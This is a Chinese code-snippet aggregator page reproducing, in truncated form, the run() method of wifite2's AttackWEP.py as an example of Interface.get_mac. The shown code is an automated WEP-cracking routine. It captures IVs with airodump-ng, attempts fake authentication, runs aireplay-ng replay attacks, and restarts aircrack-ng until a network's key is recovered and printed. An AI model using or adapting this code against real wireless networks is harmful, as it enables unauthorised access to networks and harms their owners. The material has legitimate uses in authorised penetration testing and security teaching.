当前位置: 首页>>代码示例>>Python>>正文


Python Interface.get_mac方法代码示例

本文整理汇总了Python中Interface.Interface.get_mac方法的典型用法代码示例。如果您正苦于以下问题:Python Interface.get_mac方法的具体用法?Python Interface.get_mac怎么用?Python Interface.get_mac使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在Interface.Interface的用法示例。


在下文中一共展示了Interface.get_mac方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: run

# 需要导入模块: from Interface import Interface [as 别名]
# 或者: from Interface.Interface import get_mac [as 别名]
    def run(self):
        '''
            Initiates full WEP attack.
            Including airodump-ng starting, cracking, etc.
            Returns: True if attack is succesful, false otherwise
        '''

        aircrack = None # Aircrack process, not started yet

        for (attack_index, attack_name) in enumerate(Configuration.wep_attacks):
            # BIG try-catch to capture ctrl+c
            try:
                # Start Airodump process
                with Airodump(channel=self.target.channel,
                              target_bssid=self.target.bssid,
                              ivs_only=True, # Only capture IVs packets
                              skip_wash=True, # Don't check for WPS-compatibility
                              output_file_prefix='wep') as airodump:

                    Color.clear_line()
                    Color.p('\r{+} {O}waiting{W} for target to appear...')
                    airodump_target = self.wait_for_target(airodump)

                    if self.fake_auth():
                        # We successfully authenticated!
                        # Use our interface's MAC address for the attacks.
                        client_mac = Interface.get_mac()
                    elif len(airodump_target.clients) == 0:
                        # There are no associated clients. Warn user.
                        Color.pl('{!} {O}there are no associated clients{W}')
                        Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
                                 ' without fake-authentication or associated clients{W}')
                        client_mac = None
                    else:
                        client_mac = airodump_target.clients[0].station

                    # Convert to WEPAttackType.
                    wep_attack_type = WEPAttackType(attack_name)

                    replay_file = None
                    # Start Aireplay process.
                    aireplay = Aireplay(self.target, \
                                        wep_attack_type, \
                                        client_mac=client_mac, \
                                        replay_file=replay_file)

                    time_unchanged_ivs = time.time() # Timestamp when IVs last changed
                    previous_ivs = 0

                    # Loop until attack completes.

                    while True:
                        airodump_target = self.wait_for_target(airodump)
                        Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) '
                            % (attack_name, airodump_target.ivs))

                        # Check if we cracked it.
                        if aircrack and aircrack.is_cracked():
                            (hex_key, ascii_key) = aircrack.get_key_hex_ascii()
                            bssid = airodump_target.bssid
                            if airodump_target.essid_known:
                                essid = airodump_target.essid
                            else:
                                essid = None
                            Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
                                % attack_name)
                            if aireplay:
                                aireplay.stop()
                            self.crack_result = CrackResultWEP(bssid, \
                                                               essid, \
                                                               hex_key, \
                                                               ascii_key)
                            self.crack_result.dump()
                            self.success = True
                            return self.success

                        if aircrack and aircrack.is_running():
                            # Aircrack is running in the background.
                            Color.p('and {C}cracking{W}')

                        # Check number of IVs, crack if necessary
                        if airodump_target.ivs > Configuration.wep_crack_at_ivs:
                            if not aircrack:
                                # Aircrack hasn't started yet. Start it.
                                ivs_file = airodump.find_files(endswith='.ivs')[0]
                                aircrack = Aircrack(ivs_file)

                            elif not aircrack.is_running():
                                # Aircrack stopped running.
                                Color.pl('\n{!} {O}aircrack stopped running!{W}')
                                ivs_file = airodump.find_files(endswith='.ivs')[0]
                                Color.pl('{+} {C}aircrack{W} stopped,' +
                                         ' restarting {C}aircrack{W}')
                                aircrack = Aircrack(ivs_file)

                            elif aircrack.is_running() and \
                                 Configuration.wep_restart_aircrack > 0:
                                # Restart aircrack after X seconds
                                if aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
                                    aircrack.stop()
#.........这里部分代码省略.........
开发者ID:Andrey-Omelyanuk,项目名称:wifite2,代码行数:103,代码来源:AttackWEP.py


注:本文中的Interface.Interface.get_mac方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。